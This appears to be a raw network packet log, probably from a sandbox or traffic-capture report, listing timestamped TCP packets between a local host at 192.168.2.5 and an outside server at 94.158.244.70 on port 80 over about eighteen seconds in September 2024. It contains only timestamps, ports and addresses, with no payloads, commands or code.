Sep 1, 2024 23:58:32.296447039 CEST	80	49836	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:32.296458960 CEST	80	49834	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:32.296540976 CEST	49834	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.296552896 CEST	49836	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.296696901 CEST	49836	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.296859026 CEST	80	49835	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:32.296909094 CEST	49835	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.301420927 CEST	80	49836	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:32.657548904 CEST	49836	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.662555933 CEST	80	49836	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:32.876636028 CEST	80	49836	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:32.919647932 CEST	49836	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.002373934 CEST	80	49836	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:33.044735909 CEST	49836	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.119386911 CEST	49837	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.124237061 CEST	80	49837	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:33.124315023 CEST	49837	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.124416113 CEST	49837	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.129158974 CEST	80	49837	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:33.482605934 CEST	49837	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.487487078 CEST	80	49837	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:33.726466894 CEST	80	49837	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:33.778991938 CEST	49837	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.858484030 CEST	80	49837	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:33.903980970 CEST	49837	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.981604099 CEST	49837	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.981884003 CEST	49838	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.986664057 CEST	80	49837	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:33.986721992 CEST	49837	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.987108946 CEST	80	49838	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:33.987170935 CEST	49838	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.987265110 CEST	49838	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:33.992491007 CEST	80	49838	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:34.341635942 CEST	49838	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:34.346554995 CEST	80	49838	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:34.560183048 CEST	80	49838	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:34.609405041 CEST	49838	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:34.688852072 CEST	80	49838	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:34.733398914 CEST	49838	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:34.805433035 CEST	49836	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:34.805433035 CEST	49788	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:34.806565046 CEST	49839	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:34.806564093 CEST	49838	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:35.125396013 CEST	49838	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:35.319422960 CEST	80	49839	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:35.319437981 CEST	80	49838	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:35.320833921 CEST	80	49838	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:35.321016073 CEST	49839	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:35.321021080 CEST	49838	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:35.321130991 CEST	49839	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:35.327945948 CEST	80	49839	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:35.669775963 CEST	49839	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:35.674640894 CEST	80	49839	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:35.917758942 CEST	80	49839	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:35.966483116 CEST	49839	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:36.045149088 CEST	80	49839	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:36.091475010 CEST	49839	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:36.169519901 CEST	49839	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:36.169905901 CEST	49840	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:36.174690962 CEST	80	49839	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:36.174701929 CEST	80	49840	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:36.174742937 CEST	49839	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:36.174782991 CEST	49840	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:36.174871922 CEST	49840	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:36.179600954 CEST	80	49840	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:36.529151917 CEST	49840	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:36.533946991 CEST	80	49840	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:36.757770061 CEST	80	49840	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:36.813678980 CEST	49840	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:36.886378050 CEST	80	49840	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:36.935242891 CEST	49840	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.008974075 CEST	49840	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.008987904 CEST	49841	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.013798952 CEST	80	49841	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.014226913 CEST	80	49840	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.014403105 CEST	49840	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.014417887 CEST	49841	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.014575958 CEST	49841	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.019335985 CEST	80	49841	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.045481920 CEST	49842	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.045481920 CEST	49841	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.050295115 CEST	80	49842	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.050380945 CEST	49842	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.053426981 CEST	49842	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.058321953 CEST	80	49842	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.094073057 CEST	80	49841	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.169416904 CEST	49843	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.174268961 CEST	80	49843	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.177726984 CEST	49843	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.177936077 CEST	49843	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.186878920 CEST	80	49843	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.405440092 CEST	49842	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.410389900 CEST	80	49842	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.410600901 CEST	80	49842	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.429330111 CEST	80	49841	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.429445028 CEST	49841	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.530339956 CEST	49843	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.535130024 CEST	80	49843	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.636015892 CEST	80	49842	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.683089018 CEST	49842	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.762324095 CEST	80	49842	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.769646883 CEST	80	49843	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.810239077 CEST	49843	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.810338974 CEST	49842	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:37.896985054 CEST	80	49843	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:37.950867891 CEST	49843	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.028855085 CEST	49842	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.028942108 CEST	49843	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.029407024 CEST	49844	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.033951998 CEST	80	49842	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:38.034007072 CEST	49842	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.034152031 CEST	80	49844	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:38.034214973 CEST	49844	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.034348011 CEST	80	49843	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:38.034379005 CEST	49844	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.034389973 CEST	49843	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.039136887 CEST	80	49844	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:38.388938904 CEST	49844	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.393853903 CEST	80	49844	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:38.607516050 CEST	80	49844	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:38.655500889 CEST	49844	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.732789993 CEST	80	49844	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:38.779521942 CEST	49844	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.863393068 CEST	49845	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.868247032 CEST	80	49845	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:38.871555090 CEST	49845	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.871555090 CEST	49845	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:38.876424074 CEST	80	49845	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:39.217391968 CEST	49845	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:39.222281933 CEST	80	49845	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:39.465543985 CEST	80	49845	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:39.514353991 CEST	49845	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:39.595320940 CEST	80	49845	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:39.638362885 CEST	49845	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:39.869013071 CEST	49845	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:39.873100996 CEST	49846	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:39.875001907 CEST	80	49845	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:39.875057936 CEST	49845	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:39.877966881 CEST	80	49846	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:39.878025055 CEST	49846	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:39.881196976 CEST	49846	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:39.888823986 CEST	80	49846	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:40.232418060 CEST	49846	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:40.237400055 CEST	80	49846	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:40.475326061 CEST	80	49846	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:40.529007912 CEST	49846	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:40.606282949 CEST	80	49846	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:40.655399084 CEST	49846	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:40.728271961 CEST	49846	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:40.728595972 CEST	49847	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:40.733347893 CEST	80	49846	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:40.733364105 CEST	80	49847	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:40.733445883 CEST	49846	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:40.733450890 CEST	49847	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:40.733736992 CEST	49847	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:40.738471985 CEST	80	49847	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:41.091597080 CEST	49847	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:41.098592997 CEST	80	49847	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:41.315262079 CEST	80	49847	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:41.359420061 CEST	49847	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:41.442902088 CEST	80	49847	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:41.482139111 CEST	49847	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:41.559113026 CEST	49847	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:41.559484959 CEST	49848	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:41.564358950 CEST	80	49847	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:41.564372063 CEST	80	49848	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:41.564455986 CEST	49847	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:41.564455986 CEST	49848	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:41.564634085 CEST	49848	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:41.569351912 CEST	80	49848	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:41.919707060 CEST	49848	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:41.924510002 CEST	80	49848	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.136312962 CEST	80	49848	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.185240984 CEST	49848	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.261003971 CEST	80	49848	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.310240030 CEST	49848	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.540102005 CEST	49849	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.540174961 CEST	49848	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.544958115 CEST	80	49849	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.545044899 CEST	49849	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.545285940 CEST	80	49848	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.545373917 CEST	49848	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.573610067 CEST	49849	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.578512907 CEST	80	49849	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.769412994 CEST	49850	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.774286985 CEST	80	49850	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.781563044 CEST	49850	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.781563044 CEST	49850	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.785811901 CEST	49849	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.786492109 CEST	80	49850	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.838058949 CEST	80	49849	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.957545996 CEST	49851	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.957892895 CEST	80	49849	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.961533070 CEST	49849	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.962347031 CEST	80	49851	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:42.965692043 CEST	49851	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.965692043 CEST	49851	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:42.970479965 CEST	80	49851	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.141530037 CEST	49850	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.146403074 CEST	80	49850	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.146495104 CEST	80	49850	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.311403990 CEST	49851	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.316329956 CEST	80	49851	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.374180079 CEST	80	49850	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.419733047 CEST	49850	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.504683971 CEST	80	49850	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.539810896 CEST	80	49851	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.544642925 CEST	49850	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.591485023 CEST	49851	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.612267017 CEST	80	49844	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.612315893 CEST	49844	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.664762974 CEST	80	49851	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.716509104 CEST	49851	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.792417049 CEST	49850	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.792711020 CEST	49852	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.795397997 CEST	49851	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.797481060 CEST	80	49852	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.797554970 CEST	49852	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.797683001 CEST	49852	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.797702074 CEST	80	49850	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.797749996 CEST	49850	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.800525904 CEST	80	49851	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:43.800580025 CEST	49851	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:43.802494049 CEST	80	49852	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:44.154079914 CEST	49852	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:44.158941984 CEST	80	49852	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:44.374605894 CEST	80	49852	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:44.501555920 CEST	80	49852	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:44.501622915 CEST	49852	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:44.619400024 CEST	49853	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:44.625442028 CEST	80	49853	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:44.627473116 CEST	49853	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:44.627593994 CEST	49853	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:44.632352114 CEST	80	49853	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:44.983449936 CEST	49853	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:45.073054075 CEST	80	49853	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:45.210372925 CEST	80	49853	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:45.263390064 CEST	49853	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:45.339282990 CEST	80	49853	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:45.388485909 CEST	49853	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:45.551402092 CEST	49853	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:45.552958012 CEST	49854	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:45.556493044 CEST	80	49853	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:45.557735920 CEST	80	49854	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:45.557853937 CEST	49854	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:45.557853937 CEST	49853	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:45.560949087 CEST	49854	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:45.565706968 CEST	80	49854	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:45.919886112 CEST	49854	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:46.254527092 CEST	49854	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:46.808816910 CEST	80	49854	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:46.808944941 CEST	80	49854	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:46.809309959 CEST	80	49854	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:46.809398890 CEST	49854	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:46.809398890 CEST	49854	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:46.810950994 CEST	80	49854	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:46.811672926 CEST	80	49854	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:46.973398924 CEST	80	49854	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:47.086777925 CEST	49854	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.087408066 CEST	49855	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.092032909 CEST	80	49854	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:47.092206955 CEST	80	49855	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:47.092293024 CEST	49854	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.092392921 CEST	49855	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.092510939 CEST	49855	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.097239971 CEST	80	49855	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:47.451080084 CEST	49855	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.455940962 CEST	80	49855	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:47.674635887 CEST	80	49855	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:47.763406992 CEST	49855	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.805440903 CEST	80	49855	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:47.872754097 CEST	49855	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.943177938 CEST	49855	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.943670034 CEST	49856	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.948395967 CEST	80	49855	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:47.948447943 CEST	49855	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.948821068 CEST	80	49856	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:47.948880911 CEST	49856	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.949031115 CEST	49856	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:47.953924894 CEST	80	49856	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:48.297288895 CEST	49856	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.302361965 CEST	80	49856	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:48.514071941 CEST	49857	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.518990040 CEST	80	49857	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:48.519062996 CEST	49857	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.519239902 CEST	49857	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.519624949 CEST	80	49856	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:48.524002075 CEST	80	49857	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:48.543159962 CEST	49856	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.548357010 CEST	80	49856	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:48.548417091 CEST	49856	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.680579901 CEST	49858	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.685481071 CEST	80	49858	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:48.685571909 CEST	49858	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.685830116 CEST	49858	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.690572023 CEST	80	49858	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:48.872817993 CEST	49857	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:48.877681971 CEST	80	49857	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:48.877763987 CEST	80	49857	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.044853926 CEST	49858	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.049686909 CEST	80	49858	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.098514080 CEST	80	49857	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.169630051 CEST	49857	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.226316929 CEST	80	49857	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.258974075 CEST	80	49858	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.372766018 CEST	49857	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.372766018 CEST	49858	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.384943962 CEST	80	49858	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.509756088 CEST	49857	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.509759903 CEST	49859	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.509845018 CEST	49858	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.644867897 CEST	80	49852	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.644932032 CEST	49852	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.645757914 CEST	80	49858	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.645793915 CEST	49858	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.646791935 CEST	80	49859	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.646846056 CEST	49859	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.647059917 CEST	49859	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.647687912 CEST	80	49857	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.647706032 CEST	80	49858	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.647728920 CEST	49857	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.647753000 CEST	49858	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:49.651782036 CEST	80	49859	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:49.997859001 CEST	49859	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:50.002775908 CEST	80	49859	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:50.248300076 CEST	80	49859	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:50.363569975 CEST	49859	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:50.378585100 CEST	80	49859	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:50.466514111 CEST	49859	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:50.496244907 CEST	49860	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:50.501149893 CEST	80	49860	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:50.501296997 CEST	49860	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:50.501405001 CEST	49860	80	192.168.2.5	94.158.244.70
